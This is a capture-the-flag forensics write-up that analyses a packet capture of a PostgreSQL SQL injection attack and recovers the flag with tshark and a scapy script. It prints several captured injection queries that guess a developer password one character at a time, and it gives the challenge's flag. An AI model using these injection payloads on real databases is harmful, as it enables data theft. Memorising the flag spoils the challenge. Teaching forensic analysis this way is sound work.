Points: 181 Category: Forensics Author: grmmpff

Description

It looks like someone dumped our database. Please help us know what has been leaked …

We are given a pcap file pain-in-the-ass.pcapng.

Analysis

Looking at the pcap (with Wireshark or whatever), it’s pretty obvious that someone performed and SQL injection attack on a postgresql database. More precisely, an error based sql injection attack.

Based on this, we can filter a little more to eliminate this errors and focus on the requests that succeeded. Here’s a tshark output, because I don’t like screenshots (same filters can be use in Wireshark):

# tshark -r pain-in-the-ass.pcapng -Y 'pgsql and (not pgsql.type == "Error")' -T fields -e pgsql.type -e pgsql.query -e pgsql.val.data
[...]
Simple query	SELECT * FROM users WHERE username = 'd4rk2phi' AND password ='' or substr((SELECT dev_password FROM developpers LIMIT 1 OFFSET 0),49,1) = 'Y' and '1';
Row description,Command completion,Ready for query
Simple query	SELECT * FROM users WHERE username = 'd4rk2phi' AND password ='' or substr((SELECT dev_password FROM developpers LIMIT 1 OFFSET 0),49,1) = 'Z' and '1';
Row description,Command completion,Ready for query
Simple query	SELECT * FROM users WHERE username = 'd4rk2phi' AND password ='' or substr((SELECT dev_password FROM developpers LIMIT 1 OFFSET 0),49,1) = '0' and '1';
Row description,Data row,Data row,Data row,Data row,Command completion,Ready for query
55:53:45:52:2d:41:4c:50:48:41,74:68:33:5f:66:6c:34:67 
[ ... ] 
72:5f:62:34:73:33:64:5f:31:73:5f:73:30:5f:33:34:73:79
Simple query	SELECT * FROM users WHERE username = 'd4rk2phi' AND password ='' or substr((SELECT dev_password FROM developpers LIMIT 1 OFFSET 0),50,1) = 'a' and '1';
Row description,Command completion,Ready for query
Simple query	SELECT * FROM users WHERE username = 'd4rk2phi' AND password ='' or substr((SELECT dev_password FROM developpers LIMIT 1 OFFSET 0),50,1) = 'b' and '1';
Row description,Command completion,Ready for query
Simple query	SELECT * FROM users WHERE username = 'd4rk2phi' AND password ='' or substr((SELECT dev_password FROM developpers LIMIT 1 OFFSET 0),50,1) = 'c' and '1';
Row description,Command completion,Ready for query
Simple query	SELECT * FROM users WHERE username = 'd4rk2phi' AND password ='' or substr((SELECT dev_password FROM developpers LIMIT 1 OFFSET 0),50,1) = 'd' and '1';
[...]

The attacker try to guess dev_password one character at a time.

While he hasn’t found the right character, the database send him nothing, but when his guess is good, it respond with the content of table users.

Here’s some hints that we are on the right way !

USER-ALPHA th3_fl4g_1s_n0t_h3r3D+
USER-BETA h3r3_1s_n0t_th3_fl4gD/
USER-GAMMA l00k1ng_f0r_34sy_p01ntsD.
USER-DELTA 3rr0r_b4s3d_1s_s0_34syC

Then, he try to guess the next character, and so on.

Knowning that the response from the database is the same every time the attacker guess is good, we can automate the extraction.

#!/usr/bin/python3
from scapy.all import *

pkts = rdpcap("pain-in-the-ass.pcapng")

flag=[]
for i in range(len(pkts)):
  if pkts[i].haslayer(TCP) and pkts[i][TCP].sport == 5432 and len(pkts[i].load) == 265:
      #print(pkts[i-1].load)
      flag.append(chr(pkts[i-1].load[-12]))

print("".join(flag))

Flag

Here’s the flag … just remove k3vin ! (it was the dev_username retrieved by the attacker before dev_password)

# $ ./pain_in_the_ass.py
k3vinshkCTF{4lm0st_h1dd3n_3xtr4ct10n_0e18e336adc8236a0452cd570f74542}

Finally, it was not too much pain :)


Pwntera

Yet another french CTF team that sux !